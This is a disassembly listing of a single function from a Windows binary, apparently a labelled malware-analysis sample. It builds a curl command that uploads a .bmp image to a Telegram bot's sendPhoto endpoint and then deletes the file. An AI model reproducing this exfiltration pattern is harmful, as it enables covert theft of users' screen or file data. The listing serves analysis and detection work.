Function at 0x1400027e0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x1400760c0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
lea rdx, [0x14006c738]
lea rcx, [rbp - 0x29]
call fcn.140006ec0
mov rcx, rax
call fcn.140002490
mov rdx, qword [rbp - 0x11]
cmp rdx, 7
jbe 0x140002866
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002861
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b3b
call fcn.140031f20
mov rsi, qword [0x1400797d0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0x33
jb 0x140002b41
lea r15, [0x1400797c0]
cmp qword [0x1400797d8], 0xf
cmova r15, qword [0x1400797c0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
lea r14, [rsi + 0x33]
mov ebx, 0xf
lea rdi, [rbp - 0x29]
cmp r14, rbx
jbe 0x140002938
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400028fb
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140031f28
test rax, rax
je 0x140002b4d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002934
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002923
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002b35
jmp 0x1400028dc
test rcx, rcx
je 0x140002932
call fcn.140031f28
mov rdi, rax
jmp 0x140002934
xor edi, edi
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], rbx
movups xmm0, xmmword [str.curl__F__photo__.bmp__https:__api.telegram.org_bot]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14006c770]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x14006c780]
movups xmmword [rdi + 0x20], xmm0
movzx eax, word [0x14006c790]
mov word [rdi + 0x30], ax
movzx eax, byte [0x14006c792]
mov byte [rdi + 0x32], al
lea rcx, [rdi + 0x33]
mov r8, rsi
mov rdx, r15
call fcn.14005ce60
mov byte [rdi + r14], 0
mov r8d, 0x13
lea rdx, str._sendPhoto_chat_id
lea rcx, [rbp - 0x29]
call fcn.140007ff0
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 7], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 9], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 7], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400797a0]
cmp qword [0x1400797b8], 0xf
cmova rdx, qword [0x1400797a0]
mov r8, qword [0x1400797b0]
lea rcx, [rbp - 9]
call fcn.140007ff0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x140002a63
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b47
call fcn.140031f20
movdqa xmm0, xmmword [0x14006cbf0]
movdqu xmmword [rbp + 7], xmm0
mov byte [rbp - 9], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140002aaf
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002aaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b4d
call fcn.140031f20
lea rcx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0xf
cmova rcx, qword [rbp + 0x1f]
call fcn.140039af8
lea rcx, str._.bmp
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x140002b06
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b2f
call fcn.140031f20
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140031f00
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14003bf08
int3
call fcn.1400013c0
int3
call fcn.14003bf08
int3
call fcn.140001460
nop
call fcn.14003bf08
nop
call fcn.14003bf08
int3